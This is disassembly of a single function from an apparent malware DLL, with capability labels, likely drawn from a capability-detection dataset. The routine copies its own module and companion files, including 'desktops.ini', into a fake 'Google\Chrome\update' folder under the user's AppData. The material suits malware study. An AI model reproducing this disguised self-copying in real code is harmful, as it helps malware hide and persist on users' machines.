Function at 0x10002550
Capabilities:
Copy file
Create directory
Get common file path
Get session user name

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1044
call fcn.10003c60
mov eax, dword [0x1001f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1044]
mov dword [ebp - 0x1044], 0x100
push eax
lea eax, [ebp - 0x103c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x100025d1
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x100025d1
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push str._sAppDataLocalGoogleChromeupdate_
push eax
call fcn.10002ed0
add esp, 0xc
lea eax, [ebp - 0x414]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push 0x104
lea eax, [ebp - 0x61c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0xa2c]
push 0x104
push eax
call fcn.1000a1b7
add esp, 0xc
lea eax, [ebp - 0xa2c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [ebp - 0xa2c]
push eax
lea eax, [ebp - 0xc34]
push 0x104
push eax
call fcn.1000a1b7
lea eax, [ebp - 0xa2c]
push eax
lea eax, [ebp - 0xe3c]
push 0x104
push eax
call fcn.1000a1b7
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0xc34]
add esp, 0x18
push 0x1001d0b0
push eax
call ebx
push str.desktops.ini
lea eax, [ebp - 0xe3c]
push eax
call ebx
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.1000a1b7
mov edi, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
lea eax, [ebp - 0x61c]
add esp, 0xc
push eax
call edi
push eax
lea eax, [ebp - 0x20c]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x20c]
push 0
push eax
lea eax, [ebp - 0x61c]
push eax
call esi
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.1000a1b7
add esp, 0xc
lea eax, [ebp - 0xc34]
push eax
call edi
push eax
lea eax, [ebp - 0x20c]
push eax
call ebx
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xc34]
push eax
call esi
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.1000a1b7
add esp, 0xc
lea eax, [ebp - 0xe3c]
push eax
call edi
push eax
lea eax, [ebp - 0x20c]
push eax
call ebx
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xe3c]
push eax
call esi
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x824]
push 0x104
push eax
call fcn.1000a1b7
add esp, 0xc
lea eax, [ebp - 0x61c]
push eax
call edi
push eax
lea eax, [ebp - 0x824]
push eax
call ebx
sub esp, 0x18
lea esi, [ebp - 0x824]
mov ecx, esp
lea edx, [esi + 2]
xorps xmm0, xmm0
mov dword [ebp - 0x1040], ecx
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10002784
sub esi, edx
sar esi, 1
cmp esi, 0x7ffffffe
ja 0x10002884
mov dword [ecx + 0x14], 7
cmp esi, 8
jae 0x100027c6
mov dword [ecx + 0x10], esi
lea eax, [ebp - 0x824]
add esi, esi
push esi
push eax
push ecx
call fcn.10005bb0
add esp, 0xc
jmp 0x10002861
mov edi, esi
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x100027e1
mov eax, SysReAllocString
mov edi, SysReAllocString
add eax, eax
jmp 0x10002802
mov eax, 0xa
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x1000287f
add eax, eax
cmp eax, 0x1000
jb 0x10002827
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x1000287f
push ecx
call fcn.100031a0
add esp, 4
test eax, eax
je 0x10002889
mov ecx, dword [ebp - 0x1040]
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x10002840
test eax, eax
je 0x1000283e
push eax
call fcn.100031a0
mov ecx, dword [ebp - 0x1040]
add esp, 4
mov ebx, eax
jmp 0x10002840
xor ebx, ebx
mov dword [ecx + 0x10], esi
lea eax, [ebp - 0x824]
add esi, esi
mov dword [ecx], ebx
push esi
push eax
push ebx
mov dword [ecx + 0x14], edi
call fcn.10005bb0
add esp, 0xc
xor eax, eax
mov word [esi + ebx], ax
call fcn.100013c0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.10003184
mov esp, ebp
pop ebp
ret
call fcn.10001150
call fcn.100011f0
call fcn.1000a166
int3